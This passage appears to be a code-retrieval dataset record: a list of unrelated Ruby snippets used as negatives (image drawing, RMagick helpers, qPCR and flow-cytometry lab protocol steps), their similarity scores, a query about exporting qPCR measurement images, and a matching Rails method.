#-----------------------\n when \"\\x01\"\n text.sub!(/\\[([0-9]+)\\]/, \"\")\n @last_color = $1.to_i\n contents.font.color = text_color($1.to_i)\n \n #--------------------------\n # * NMS FEATURES!!\n #-----------------------\n when \"\\x83\"\n text.sub!(/\\[([0-9]+)\\]/, \"\")\n\n new_line if (@contents_x + 24 > contents.width)\n\n # Draw ICON\n ucIcon = UCIcon.new(self, Rect.new(@contents_x, @contents_y, 24, 24), $1.to_i)\n @cControlsList.push(ucIcon)\n @contents_x += 24\n when \"\\x84\"\n text.sub!(/\\[(.*?)\\]/, \"\")\n contents.font.name = $1.to_s\n when \"\\x85\"\n text.sub!(/\\[([0-9]+)\\]/, \"\")\n contents.font.size = $1.to_i\n when \"\\x86\"\n contents.font.name = Font.default_name \n when \"\\x87\"\n contents.font.size = Font.default_size\n when \"\\x88\"\n contents.font.bold = contents.font.bold == true ? false : true\n when \"\\x89\"\n contents.font.italic = contents.font.italic == true ? false : true\n when \"\\x93\"\n contents.font.shadow = contents.font.shadow == true ? false : true\n when \"\\x11\"\n text.sub!(/\\[(.*?)\\]/, \"\")\n a = $1.to_s.split(',')\n bitmap = Cache.picture(a[0])\n\n new_line if (@contents_x + bitmap.width > contents.width)\n \n # Size\n if !a[1].nil? && !a[1].empty?\n width = a[1].to_i\n else\n width = bitmap.width\n end\n if !a[2].nil? && !a[2].empty?\n height = a[2].to_i\n else\n height = bitmap.height\n end\n \n # Border\n if !a[3].nil? && !a[3].empty?\n border = a[3].to_i \n else\n border = 0\n end\n if !a[4].nil? && !a[4].empty?\n border_color = text_color(a[4].to_i)\n else\n border_color = nil\n end\n\n # Draw Image\n ucImageBorder = UCImageBorder.new(self, Rect.new(@contents_x, @contents_y, width, height),\n bitmap, Rect.new(0,0, width-border*2, height-border*2),\n 0, 255, 0, border, border_color)\n @cControlsList.push(ucImageBorder)\n \n @contents_x += width\n @biggest_text_height = height if height > @biggest_text_height\n #bitmap.dispose\n when \"\\x12\"\n text.sub!(/\\[([0-9]+)\\]/, \"\")\n\n new_line if (@contents_x + 96 > contents.width)\n\n # Draw Face\n actor = Game_Actor.new($1.to_i)\n ucCharFace = UCCharacterFace.new(self, Rect.new(@contents_x, @contents_y, 96, 96), actor)\n @cControlsList.push(ucCharFace)\n \n @biggest_text_height = 96 if 96 > @biggest_text_height\n else\n # Draw Text\n next_char = text.slice(/./m)\n contents_text += c\n if next_char == nil || next_char.match(/[\\x01-\\x12\\x80-\\xff]/) != nil\n text_height = contents.get_text_height(contents_text)\n if text_height < WLH\n text_height = WLH\n end\n @biggest_text_height = text_height if text_height > @biggest_text_height\n\n rect = Rect.new(@contents_x, @contents_y, contents.width, @biggest_text_height)\n cLabel = CLabel.new(self, rect, contents_text, 0, contents.font.clone, \n true, false, 3)\n @cControlsList.push(cLabel)\n \n lines = contents.split_multiline(rect, contents_text, 3)\n if lines.size > 1\n text_height = contents.get_text_height(contents_text)\n if text_height < WLH\n text_height = WLH\n end\n text_height = @biggest_text_height + text_height * (lines.size-2)\n @biggest_text_height = text_height if text_height > @biggest_text_height\n new_line\n end\n\n contents_text = \"\"\n @contents_x += contents.get_text_width(lines[lines.size-1])\n end\n \n end\n end\n\n end", "def main_preview_img_header_variant\n if realty.preview_img.attached?\n view_context.image_tag realty.preview_img.variant(resize: '750X484^').processed, class: 'img-responsive project_img_top box-shadow img-rounded'\n end\n end", "def init_tile_image\n list = Magick::ImageList.new(\"/Users/pmenke/git/eq2_tiler/resources/tiler/overlay-base.png\")\n @i = list.first\n @i\n end", "def setup\n\t\tsize(1800,900) ; background(20) ; frame_rate 30 #JR\n\t\t# size(1400,850) ; background(20) ; frame_rate 30\n\t\t@w, @h = [width,height].map{|i|i/2.0} ; @i = 0\n \t@m = [235,18,85]\n\n \ttext_font create_font(\"SanSerif\",25) ; stroke(200,200,200)\n \t# @img = loadImage(\"/Users/Jon/Desktop/craigslist_map2.jpg\")\n \t@img = loadImage(\"/Users/Jon/Desktop/full_santa_fe.png\")\n\tend", "def image_bk(name)\n image = TkPhotoImage.new\n image.file = \"./images/#{name}\"\n label = TkLabel.new(@frame)\n label.image = image\n label.place('height' => image.height, 'width' => image.width,'x' => 290, 'y' => -15)\n end", "def create_graphics\n create_viewport\n create_background\n create_buttons\n init_entering\n end" ]
[ "0.62516433", "0.61311", "0.59882915", "0.57847077", "0.5745068", "0.5744303", "0.5673395", "0.5671538", "0.56513345", "0.56513345", "0.56241345", "0.5583765", "0.5580931", "0.55490214", "0.55105335", "0.545998", "0.5439056", "0.540604", "0.540604", "0.5346053", "0.53329927", "0.53227", "0.5321271", "0.52906626", "0.5289855", "0.528298", "0.52570456", "0.5215568", "0.5207375", "0.5192354", "0.5186129", "0.51768214", "0.51706433", "0.5159776", "0.51543343", "0.5149931", "0.5147762", "0.5134695", "0.51342326", "0.51289433", "0.5118239", "0.5112093", "0.51118225", "0.51089936", "0.5103862", "0.5102698", "0.50966203", "0.50841844", "0.5067981", "0.50576705", "0.5053279", "0.5052602", "0.5052597", "0.5051926", "0.5048847", "0.50479037", "0.50412", "0.5038146", "0.50332236", "0.502487", "0.50231856", "0.50218064", "0.50198257", "0.50198257", "0.50198257", "0.50198257", "0.50198257", "0.50198257", "0.50198257", "0.5018587", "0.501121", "0.50091654", "0.50009334", "0.49975786", "0.4997115", "0.4995076", "0.49899802", "0.49846363", "0.49797732", "0.49721754", "0.49698892", "0.49524423", "0.49524423", "0.49489528", "0.49488637", "0.4948471", "0.49458453", "0.49453598", "0.49301937", "0.49230474", "0.49198633", "0.49197584", "0.49197584", "0.49133286", "0.49066538", "0.49060166", "0.49037215", "0.48970723", "0.4894664", "0.4884453" ]
0.65077204
0
Image for exporting measurements from a qPCR run
def export_measurements_image image_path(image_name: params[:export_measurements_image]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def embed_info(input_file, qr, label, x_coord, y_coord)\n img_template = ChunkyPNG::Image.from_file(input_file)\n img_label = ChunkyPNG::Image.from_file(label)\n img_template.compose!(qr, x_coord, y_coord)\n img_template.compose!(img_label, x_coord + 255, y_coord)\n rename_file = input_file[5..-1]\n img_template.save(\"./out-pdf\" + rename_file.gsub(\".png\", \"-e.png\"), :fast_rgba)\nend", "def run_qpcr(outname, ops, program, test_str, stamp_columns)\n coll = ops.first.output(outname).collection\n\n display_plate = display_plate(outname, ops, stamp_columns)\n stub = upload_stub(program, test_str)\n\n show do\n title \"Place #{test_str} stripwells in qPCR machine\"\n check \"Open #{SOFTWARE} on qPCR computer and make sure the qPCR is not running\"\n note \"Open lid\"\n note \"Place the <b>#{coll}-#{test_str}</b> stripwells in the block in the following order\"\n table display_plate\n note \"Close lid\"\n end\n\n show do\n title \"Program Setup: #{stub}\"\n check \"Open #{SOFTWARE} if not already open\"\n check \"Choose <b>File->Open->Protocol</b>\"\n if stub == \"qPCR1_REAL\"\n check \"Navigate to <b>#{PROG_DIR}</b> and select <b>NGS_qPCR1_2.prcl</b>\"\n else \n check \"Navigate to <b>#{PROG_DIR}</b> and select <b>#{program.name}</b>\"\n end\n note \"Your program should have the following steps. If not, notify a lab manager.\"\n table program.table\n check \"Set the <b>Sample Volume</b> to <b>#{program.volume}</b>\"\n check \"Press <b>OK</b> (in the #{SOFTWARE})\"\n end\n\n show do\n title \"Plate Setup: #{stub}\"\n check \"Press <b>Next</b>. You are now on the <b>Plate</b> tab. Press <b>Select Existing</b>.\"\n check \"Navigate to <b>#{PROG_DIR}</b>. Choose <b>#{program.plate}</b> and press <b>Open</b>.\"\n check \"Press <b>Edit Selected</b>. Make sure the occupied wells match the table below:\"\n table display_plate\n check \"Make sure <b>SYBR</b> is checked for all wells in the table\"\n check \"Press <b>OK</b> (n the #{SOFTWARE})\"\n end\n\n data = show do\n title \"Run: #{stub}\"\n check \"Press <b>Next</b>. You are now on the <b>Start Run</b> tab.\"\n check \"Press <b>Start Run</b>\"\n note \"Copy the auto-generated filename for the run and paste it below:\"\n get \"text\", var: :name, label: \"file name\", default: \"filename#{PCRD_SUFFIX}\"\n if(test_str == TEST)\n check \"Proceed immediately to the next step while you are waiting for the qPCR <b>#{test_str}</b> run to finish\"\n end\n end\n\n ops.first.plan.associate \"#{upload_stub(program, test_str)}_name\", data[:name]\n\n if(test_str == REAL) # display stop cycle\n stop_cycle = ops.first.output(outname).collection.get(\"stop_cycle\")\n\n if stop_cycle.present?\n msg = \"The qPCR samples each require a different number of cycles.\"\n msg += \" To acheive this without disrupting the run, you will press\"\n msg += \" on the <b>Pause</b> software button at the <b>end</b> of the\"\n msg += \" elongation step at each of the cycles:\"\n msg += \" <b>#{stop_cycle.flatten.uniq.select!{|i| i>0}.sort.to_sentence}</b>\"\n msg += \" and remove the relevant sample(s), as indicated in the following table:\"\n\n show do\n title \"Stop at Cycle\"\n note msg\n table display_stop_cycles(outname, ops, stamp_columns)\n end\n else # this should not happen!\n raise \"No stop cycle info found.\"\n end\n end\n\n end", "def saveReportAndGelImages(inputStr, num_samples)\n \n # number of rows in striwell plate\n rows = (num_samples/WELLS_PER_STRIPWELL.to_f).ceil\n \n show do \n title \"Save PDF and gel images\"\n note \"If an error message occurs after the reports were generated, click <b>okay</b>\"\n note \"A PDF report is generated. Note that a separate gel image is generated for each stripwell row.\"\n check \"For each gel image in the PDF, right-click on the image, copy it, and paste it into Paint. Then save to <b>Documents/Gel Images</b> for each row, with the filenames below:\" \n rows.times do |i|\n note \"For Row #{i + 1}: stripwell_from_#{Time.now.strftime(\"%Y-%m-%d\")}_#{jid}_row_#{i + 1}.JPG\" # jid is JOB id\n end\n note \"On the PDF, select <b>File -> Save As</b>, navigate to <b>Documents/PDF Report</b>, and save the PDF as <b>#{Time.now.strftime(\"%Y-%m-%d\")}_#{jid}</b>\"\n note \"Close the PDF\"\n note \"You will now upload the PDFs and gel files\"\n end\n \n # upload PDFs\n pdf_uploads=uploadData(\"Documents/PDF Report/#{Time.now.strftime(\"%Y-%m-%d\")}_#{jid}.pdf\",1,3) # 1 file for whole plate\n gel_uploads=uploadData(\"Documents/Gel Images/#{Time.now.strftime(\"%Y-%m-%d\")}_#{jid}_row_*.jpg\",rows,3) # 1 image per row\n # associate gel,PDF images \n operations.each do |op|\n if(!gel_uploads.nil?)\n rr=op.get(:qc_row) # position in gel_uploads, 0-based \n if(!(gel_uploads[rr].nil?))\n op.input(inputStr).item.associate \"qc_image\", gel_uploads[rr]\n op.plan.associate \"qc_image_#{op.input(inputStr).sample.id}\", \"QC Image\", gel_uploads[rr]\n end\n end\n if(!pdf_uploads.nil?)\n op.input(inputStr).item.associate \"qc_report\", pdf_uploads[rr]\n op.plan.associate \"qc_report_#{op.input(inputStr).sample.id}\", \"QC Report\", pdf_uploads[0]\n end\n end\n end", "def main()\n img = ImageList.new($input)\n convert = ImageList.new\n page = Magick::Rectangle.new(0,0,0,0)\n $total_ops = (img.rows * img.columns).to_f\n\n for i in 0..img.rows\n for j in 0..img.columns\n pixel = generate_hex_pixel(rgb_to_hex(img.pixel_color(j,i)))\n convert << pixel\n page.x = j * pixel.columns\n page.y = i * pixel.rows\n pixel.page = page\n progress()\n end\n end\n\n puts 'Writing image, this could take a while...'\n convert.mosaic.write($output)\nend", "def print_my_qrcode\n require 'rqrcode'\n\n qrcode = RQRCode::QRCode.new(\"http://api.paiemequick.com/u/p/#{self.authentication_token}/\")\n\n # NOTE: showing with default options specified explicitly\n svg = qrcode.as_svg(\n offset: 5,\n color: '000',\n shape_rendering: 'crispEdges',\n module_size: 6,\n standalone: true\n )\n\n # save SVG file to folder\n File.open(\"app/assets/images/#{self.phone}\", \"w\") do |line|\n line.puts svg\n end\n end", "def generate_qrda_text(measure)\n measure_id = measure['hqmf_id']\n start_date = DateTime.new(reporting_period.to_i, 1, 1).utc\n end_date = start_date.years_since(1) - 1\n bundle = self.bundle\n if qrda_type == '3'\n c3c = Cypress::Cat3Calculator.new([measure_id], bundle)\n c3c.generate_cat3(start_date, end_date)\n elsif qrda_type == '1'\n patient_records = HealthDataStandards::CQM::PatientCache.where('value.measure_id' => measure_id, 'value.test_id' => nil).to_a.map(&:record)\n formatter = Cypress::QRDAExporter.new([measure], start_date, end_date)\n patient = patient_records.sample\n Cypress::DemographicsRandomizer.randomize(patient)\n formatter.export(patient)\n else\n raise 'Unknown QRDA type'\n end\n end", "def pwr_outfile\n TextDataTools::Column::DataFile.new(@directory + '/' + @run_name + '.pwr', true, /\\S+/, /(?:\\#\\s+)?\\b\\d+:.*?(?=\\d:|\\Z)/)\n end", "def save_evidence_execution\n evidence_dir = \"evidence/#{Time.now.strftime('%F')}/#{ENV['CUCUMBER_MOBILE_EXECUTION']}\"\n FileUtils::mkdir_p evidence_dir unless Dir.exist? evidence_dir\n screenshot_embed({:prefix=>evidence_dir, :name=>\"#{timestamp}_evidence.png\"})\nend", "def qr_code\n @patient = Patient.find(params[:id])\n @record_url = vacc_rec_patient_url(@patient)\n @qr = RQRCode::QRCode.new(@record_url, size: 10, level: :h)\n @png = @qr.as_png(\n bit_depth: 1,\n border_modules: 4,\n color_mode: ChunkyPNG::COLOR_GRAYSCALE,\n color: 'black',\n file: nil,\n fill: 'white',\n module_px_size: 6,\n resize_exactly_to: false,\n resize_gte_to: false,\n size: 400\n )\n end", "def to_tex\n q_url = \"http://dream.misasa.okayama-u.ac.jp/?q=\"\n basename = File.basename(image.name,\".*\")\n lines = []\n lines << \"\\\\begin{overpic}[width=0.49\\\\textwidth]{#{basename}}\"\n lines << \"\\\\put(1,74){\\\\colorbox{white}{(\\\\sublabel{#{basename}}) \\\\href{#{q_url}#{image.global_id}}{#{basename}}}}\"\n lines << \"%%(\\\\subref{#{basename}}) \\\\nolinkurl{#{basename}}\"\n lines << \"\\\\color{red}\"\n\n surface.surface_images.each do |osurface_image|\n oimage = osurface_image.image\n #image_region\n opixels = oimage.spots.map{|spot| [spot.spot_x, spot.spot_y]}\n worlds = oimage.pixel_pairs_on_world(opixels)\n pixels = image.world_pairs_on_pixel(worlds)\n oimage.spots.each_with_index do |spot, idx|\n length = image.length\n height = image.height\n x = \"%.1f\" % (pixels[idx][0] / length * 100)\n y = \"%.1f\" % (height.to_f / length * 100 - pixels[idx][1] / length * 100)\n line = \"\\\\put(#{x},#{y})\"\n line += \"{\\\\footnotesize \\\\circle{0.7} \\\\href{#{q_url}#{spot.target_uid}}{#{spot.name}}}\"\n line += \" % #{spot.target_uid}\" if spot.target_uid\n line += \" % \\\\vs(#{(\"%.1f\" % worlds[idx][0])}, #{(\"%.1f\" % worlds[idx][1])})\"\n lines << line\n end\n end\n\n width_on_stage = image.transform_length(image.width / image.length * 100)\n scale_length_on_stage = 10 ** (Math::log10(width_on_stage).round - 1)\n scale_length_on_image = image.transform_length(scale_length_on_stage, :world2xy).round\n lines << \"%%scale #{(\"%.0f\" % scale_length_on_stage)}\\ micro meter\"\n lines << \"\\\\put(1,1){\\\\line(1,0){#{(\"%.1f\" % scale_length_on_image)}}}\"\n\n lines << \"\\\\end{overpic}\"\n\n lines.join(\"\\n\")\n end", "def outputs \n result = OpenStudio::Measure::OSOutputVector.new\n result << OpenStudio::Measure::OSOutput.makeDoubleOutput('panel_rated_output') # w/m^2\n result << OpenStudio::Measure::OSOutput.makeDoubleOutput('panel_rated_output_ip') # w/ft^2\n result << OpenStudio::Measure::OSOutput.makeDoubleOutput('system_rated_output') # w\n result << OpenStudio::Measure::OSOutput.makeDoubleOutput('pv_area_total_ip') # w\\ft^2\n result << OpenStudio::Measure::OSOutput.makeStringOutput('facade') # w\\ft^2\n return result\n end", "def show\n #setup_reporting_fields\n rqrcode\n end", "def qrgen\n end", "def start_export( img_width, img_height)\n @width ||= img_width # If they be nil\n @height ||= img_height\n \n x_factor, y_factor = (@width / img_width.to_f), (@height / img_height.to_f) \n \n @stash = @exporter\n @exporter = Tracksperanto::Tool::Scaler.new(@exporter, :x_factor => x_factor, :y_factor => y_factor)\n super\n end", "def print_out_line\n #p ['id', id, 'ctd', ctd]\n #p rcp.results.zip(rcp.results.map{|r| send(r)})\n name = @run_name\n name += \" (res: #@restart_id)\" if @restart_id\n name += \" real_id: #@real_id\" if @real_id\n beginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s) %3s%1s\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s, percent_complete, \"%\")\n if ctd and fusionQ\n beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n end\n beginning += \" ---#{@comment}\" if @comment\n beginning\n end", "def qr_code_png\n data.qr_code_png\n end", "def generateQRCode\n id = params[:id]\n\n #on recherche l'enregistrement correspondant\n query = Qrmodel.find(id)\n query_string = query.to_s\n\n #on commence le processus de rendu du qrcode\n qrcode = RQRCode::QRCode.new(query_string)\n qrmodel.qrcode.attach(\n qrcode.as_png(\n resize_gte_to: false,\n resize_exactly_to: false,\n fill: 'white',\n color: 'black',\n size: 360,\n border_modules: 4,\n module_px_size: 6,\n file: Rails.root.join(\"tmp/#{SecureRandom.hex(2).parameterize}.png\")\n )\n )\n\n end", "def exportImage(options={})\n if self.datatype.name!=\"image\"\n raise \"instancevalue has wrong data type\"\n end\n if self.data_binary.blank?\n raise \"no image data found\"\n end\n localOptions={:withColorPalette=>false}\n localOptions.merge!(options)\n imageBlob=trimBlob(self.data_binary)\n begin\n myImage=Magick::Image.from_blob(imageBlob)[0]\n rescue Magick::ImageMagickError\n raise \"instancevalue contains invalid image data\"\n end\n case localOptions[:exportFormat]\n when '1'\n exportFormat='BMP'\n when '2'\n exportFormat='TIF'\n when '3'\n exportFormat='JPG'\n when '4'\n exportFormat='PNG'\n when '5'\n exportFormat='GIF'\n when '6'\n exportFormat='TXT'\n else\n exportFormat='PNG'\n end\n if localOptions[:withColorPalette]\n paletteImg=Magick::Image.read(Rails.root.to_s+\"/app/assets/images/Rainbow.png\")\n myImage=myImage.clut_channel(paletteImg[0])\n end\n sendImage=myImage.to_blob { self.format=exportFormat }\n instanceName=self.instancevalueset.instance.name\n shotNr=self.instancevalueset.shot_id\n fileName=instanceName+'_'+shotNr.to_s+'.'+exportFormat.downcase\n return {:content=>sendImage, :format=>'image/'+exportFormat, :filename=>fileName}\n end", "def show\n require 'rqrcode'\n require 'rqrcode_png'\n require 'chunky_png' # to_data_urlはchunky_pngのメソッド\n\n content = 'Hello World'\n size = 3 # 1..40\n level = :h # l, m, q, h\n\n qr = RQRCode::QRCode.new(content, size: size, level: level)\n # png変換->リサイズ->base64エンコード\n @qr_base64 = qr.to_img.resize(200, 200).to_data_url\n end", "def generate_png\n command = \"python #{Rails.root}/lib/webkit2png --transparent -F -o #{id} -D #{Rails.root}/tmp #{url} \"\n system command\n return \"#{Rails.root}/tmp/#{id}-full.png\"\n end", "def create_dd_image(drive_path, image_output_location)\n ## Make DD image\n @colour.notify \"Creating dd image with path #{image_output_location}.raw\"\n @colour.notify 'This may take a while:'\n @colour.notify \"Raw image #{image_output_location}.raw created\" if system \"aBoxManage clonemedium disk '#{drive_path}' '#{image_output_location}.raw' --format RAW\"\nend", "def plot_script(counter = false)\n [\"set term png\",\n (if counter\n \"set output \\\"#{base}/#{counter}.png\\\"\" # \"set output \\\"#{base}/group.png\\\"\"\n else\n \"set output \\\"#{base}/group.png\\\"\"\n end),\n \"set pm3d\",\n # \"set pm3d map\",\n \"splot \\\"#{self.data_file(counter)}\\\" with pm3d title 'fitness' \"].join(\"\\n\")\n end", "def sample_roi\n system(\"3dROIstats -mask_f2short -mask raparc.a2009s+aseg.nii plq20005_Ax-FSPGR-BRAVO_003.nii rASL_plq20005_fmap.nii > stats.txt\")\n end", "def export\n @pages.each_with_index do |page, i|\n puts \"Export:\"\n=begin\n #page.load_original\n ScanEnhancer::profile(\"fill_invert\") {\n page.content.fill_invert\n }\n ScanEnhancer::profile(\"Deskew\") {\n page.deskew!\n }\n ScanEnhancer::profile(\"threshold\") {\n page.threshold!\n }\n=end\n ScanEnhancer::profile(\"export\") {\n page.export(\"page-%04d.tif\" % [@page_number_start + @page_number_step*i])\n #page.export_data(\"page-%04d.tif\" % [@page_number_start + @page_number_step*i])\n }\n page.free_data!\n puts \"\"\n end\n end", "def print_out_line\n\t\t\t#p ['id', id, 'ctd', ctd]\n\t\t\t#p rcp.results.zip(rcp.results.map{|r| send(r)})\n\t\t\tname = @run_name\n\t\t\tname += \" (res: #@restart_id)\" if @restart_id\n\t\t\tname += \" real_id: #@real_id\" if @real_id\n\t\t\tbeginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s)\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s)\n\t\t\tif @status == :Incomplete and @completed_timesteps\n\t\t\t\tbeginning += sprintf(\" %d steps \", @completed_timesteps)\n\t\t\telsif @percent_complete\n \t\t\t\tbeginning+=sprintf(\" %3s%1s \", percent_complete, \"%\")\n\t\t\tend\n\t\t\tif ctd\n\t\t\t\t#beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n\t\t\tend\n\t\t\tbeginning += \" ---#{@comment}\" if @comment\n\t\t\tbeginning\n\t\tend", "def output_image\r\n @icon.each do |data|\r\n puts data.join\r\n end\r\n end", "def screenshot _value\n send_cmd(\"screenshot #{_value}\")\n end", "def clipart\n output = get_working_image(@session_id)\n unless File.exist?(output)\n FileUtils.cp(\"#{Rails.root}/public/#{params[:src]}\", output)\n img = Image.read(output).first\n img = img.scale(params[:rs].to_f) unless params[:rs].blank?\n img = img.level_colors(params[:b] || \"\", params[:w] || \"\", true) if params[:b] || params[:w]\n img.background_color = \"none\"\n img.rotate!(params[:r].to_f) unless params[:r].blank?\n\n #For embroidery\n if params[:emb] == 'true'\n img = img.ordered_dither\n end\n #FLIP/FLOP/Transpose/Transverse\n if params[:ff] == 'flip'\n img.flip!\n elsif params[:ff] == 'flop'\n img.flop!\n elsif params[:ff] == 'transpose'\n img.transpose!\n elsif params[:ff] == 'transverse'\n img.transverse!\n end\n #Extracts a channel\n if params[:ec] == 'R'\n img = img.channel(Magick::RedChannel)\n elsif params[:ec] == 'G'\n img = img.channel(Magick::GreenChannel)\n elsif params[:ec] == 'B'\n img = img.channel(Magick::BlueChannel)\n end\n\n #Applies a special effect to the image - QuantumRange\n img = img.sepiatone(Magick::QuantumRange * params[:qr].to_f) unless params[:qr].blank?\n\n #Vignette (Shape Edge)\n if params[:vig] == 'true'\n img = img.vignette\n end\n\n #Wet Floor\n if params[:wf]\n img = img.wet_floor\n end\n img.write(output)\n end\n img = Image.read(output).first\n send_data img.to_blob, :disposition => 'inline', :type => 'image/png'\n end", "def measuring_fluorescence(outputPlate, inputPlateID)\n rows = ['A','B','C','D','E','F','G','H']\n d = DateTime.now\n \n show do\n title \"Setting up workspace for GFP measurements\"\n \n note \"In the <b>'Auto Collect'</b> tab, select the plate type <b>'96 well U-bottom'</b>.\"\n note \"Click and check the following wells.\"\n table highlight_non_empty(outputPlate) { |r, c| rows[r] + (c + 1).to_s}\n end\n \n show do\n title \"Setting up workspace for GFP measurements\"\n \n note \"Set <b>'Run Limits'</b> to <b>10,000 events</b>.\"\n note \"Set <b>'Fluidics'</b> to <b>'Fast'</b>\" # Flow rate: 66ul/min, Core Sze : 22um\n note \"Set <b>'Set threshold'</b> to <b>FSC-H less than 400,000</b>.\"\n check \"Click <b>'Apply Settings'</b> and save as <b>#{inputPlateID}_#{d.strftime(\"%m_%d_%Y\")}</b>\"\n note \"Finally, click <b>Eject Plate</b>\"\n warning \"Load experimental plate with the <b>first well at the top left next to the red-dot sticker</b>.\"\n note \"Click <b>Load Plate</b>.\"\n note \"Click <b>OPEN RUN DISPLAY</b>.\"\n note \"Click <b>AUTORUN</b> to begin measurements.\"\n end\n end", "def convert_to_img\n\t\t\t`gs -sDEVICE=png16m '-r#{OCR::MIN_DENSITY}' -o '#{@image}' '#{@input_file}'`\n\t\tend", "def measuring_fluorescence(outputPlate)\n \n rows = ['A','B','C','D','E','F','G','H']\n d = DateTime.now\n \n show do\n title \"Setting Up Workspace for GFP Measurements\"\n \n note \"Click <b>Close Run Display</b> to continue.\"\n note \"In the <b>'Auto Collect'</b> tab, select the Plate Type: <b>'96 well: flat bottom'</b>.\"\n note \"Click and check the following wells.\"\n table highlight_non_empty(outputPlate) { |r, c| rows[r] + (c + 1).to_s}\n end\n \n show do\n title \"Setting Up Workspace for GFP Measurements\"\n \n note \"Set <b>'Run Limits'</b> to <b>10,000 events</b>.\"\n note \"Set <b>'Fluidics'</b> to <b>'Med'</b>\" # Fast - Flow rate: 66ul/min, Core Sze : 22um\n note \"Set <b>'Set threshold'</b> to <b>FSC-H less than 400,000</b>.\"\n note \"Click <b>'Apply Settings'</b>\"\n check \"Save as <b>Item_#{outputPlate}_#{d.strftime(\"%m_%d_%Y\")}</b> in <b>Q0_YeastGates</b> folder.\" # do I need to associate\n note \"Finally, click <b>Eject Plate</b>\"\n warning \"Load experimental plate with the <b>first well at the top left next to the red-dot sticker</b>.\"\n note \"Click <b>Load Plate</b>.\"\n note \"Click <b>OPEN RUN DISPLAY</b>.\"\n note \"Click <b>AUTORUN</b> to begin measurements.\"\n end\n end", "def graphics_file(type=:stress)\n job.configure_concern\n results_dir = job.result_path\n results_file = lambda { |f| f.exist? ? f : \"\" }\n if type == :stress\n results_file.call(results_dir + \"#{prefix}_stress.html\").to_s\n elsif type == :displ\n results_file.call(results_dir + \"#{prefix}_displ.html\").to_s\n else\n return \"\"\n end\n end", "def main\n pr = intro\n operations.group_by {|op| get_parameter(op: op, fv_str: MEASUREMENT_TYPE).to_sym}.each do |measurement_type, ops|\n new_mtype = true\n pr.measurement_type = measurement_type\n ops.group_by {|op| op.input(INPUT).sample.sample_type}.each do |st, ops|\n ops.group_by {|op| op.input(MEDIA).item}.each do |media_item, ops|\n ops.group_by {|op| get_uninitialized_output_object_type(op)}.each do |out_ot, ops|\n ops.make\n ops.group_by {|op| op.output(OUTPUT).collection}.each do |out_collection, ops|\n pr.setup_experimental_measurement(experimental_item: out_collection, output_fv: nil)\n new_mtype = setup_plate_reader_software_env(pr: pr, new_mtype: new_mtype)\n # Gather materials and items\n take_items = [media_item].concat([pr.experimental_item].flatten)\n gather_materials(empty_containers: [pr.measurement_item], transfer_required: pr.transfer_required, new_materials: ['P1000 Multichannel'], take_items: take_items)\n # Prep plate\n display_hash = get_transfer_display_hash(ops: ops, input_str: INPUT, output_str: OUTPUT, dilution_str: DILUTION)\n prefill_plate_w_media(collection: pr.measurement_item, media_sample: media_item.sample, media_vol_ul: nil, display_hash: display_hash) # media_vol_ul must be > 0 to run show block\n take ops.map {|op| op.input(INPUT).item}, interactive: true\n tech_transfer_cultures(collection: pr.measurement_item, display_hash: display_hash)\n tech_add_blanks(pr: pr, blanking_sample: media_item.sample, culture_vol_ul: 0.0, media_vol_ul: 300.0) # Cannot handle a plate without blanks, esp in processing of upload\n \n take_measurement_and_upload_data(pr: pr)\n \n dilution_factor_arr = ops.map {|op| get_dilution_factor(op: op, fv_str: DILUTION)}\n \n process_and_associate_data(pr: pr, ops: ops, blanking_sample: media_item.sample, dilution_factor: dilution_factor_arr)\n end\n keep_p_arr = ops.select {|op| op.input(KEEP_OUT_PLT).val.to_s.downcase == 'yes'}\n (keep_p_arr.empty?) ? pr.measurement_item.mark_as_deleted : pr.measurement_item.location = 'Bench'\n end\n end\n end\n end\n cleaning_up(pr: pr)\n end", "def request_plot(args, options)\n\n experiments = options.experiments.split(',')\n machines = options.machines.split(',')\n\n data = Ppbench::load_data(args)\n filtered_data = Ppbench::filter(\n data,\n experiments: experiments,\n machines: machines\n )\n aggregated_data = Ppbench::aggregate(filtered_data)\n\n max_x = Ppbench::maximum(aggregated_data, of: :length)\n max_y = Ppbench::maximum(aggregated_data, of: :rps)\n\n rplot = Ppbench::plotter(\n aggregated_data,\n to_plot: :rps,\n machines: machines,\n experiments: experiments,\n receive_window: options.recwindow,\n xaxis_max: options.xaxis_max == 0 ? max_x : options.xaxis_max,\n confidence: options.confidence,\n no_points: options.nopoints,\n with_bands: options.withbands,\n yaxis_max: options.yaxis_max == 0 ? max_y : options.yaxis_max,\n yaxis_steps: options.yaxis_steps,\n xaxis_steps: options.xaxis_steps,\n title: \"Requests per seconds\",\n subtitle: \"bigger is better\",\n xaxis_title: \"Message Size\",\n xaxis_unit: \"kB\",\n yaxis_title: \"Requests per seconds\",\n yaxis_unit: \"Req/sec\",\n yaxis_divisor: 1\n )\n\n pdf = pdfout(rplot, file: options.pdf, width: options.width, height: options.height)\n print(\"#{pdf}\") unless options.pdf.empty?\n print(\"#{rplot}\") if options.pdf.empty?\nend", "def output_image\r\n @image.each do |cell|\r\n puts cell.join\r\n end\r\n end", "def print\n Catpix::print_image self.img_url,\n :limit_x => 1.0,\n :limit_y => 0,\n :center_x => true,\n :center_y => true,\n :bg => \"white\",\n :bg_fill => true,\n :resolution => \"low\"\n end", "def transfer_plot(args, options)\n\n experiments = options.experiments.split(',')\n machines = options.machines.split(',')\n\n data = Ppbench::load_data(args)\n filtered_data = Ppbench::filter(\n data,\n experiments: experiments,\n machines: machines\n )\n aggregated_data = Ppbench::aggregate(filtered_data)\n\n max_x = Ppbench::maximum(aggregated_data, of: :length)\n max_y = Ppbench::maximum(aggregated_data, of: :transfer_rate)\n\n rplot = Ppbench::plotter(\n aggregated_data,\n to_plot: :transfer_rate,\n machines: machines,\n experiments: experiments,\n receive_window: options.recwindow,\n xaxis_max: options.xaxis_max == 0 ? max_x : options.xaxis_max,\n confidence: options.confidence,\n no_points: options.nopoints,\n with_bands: 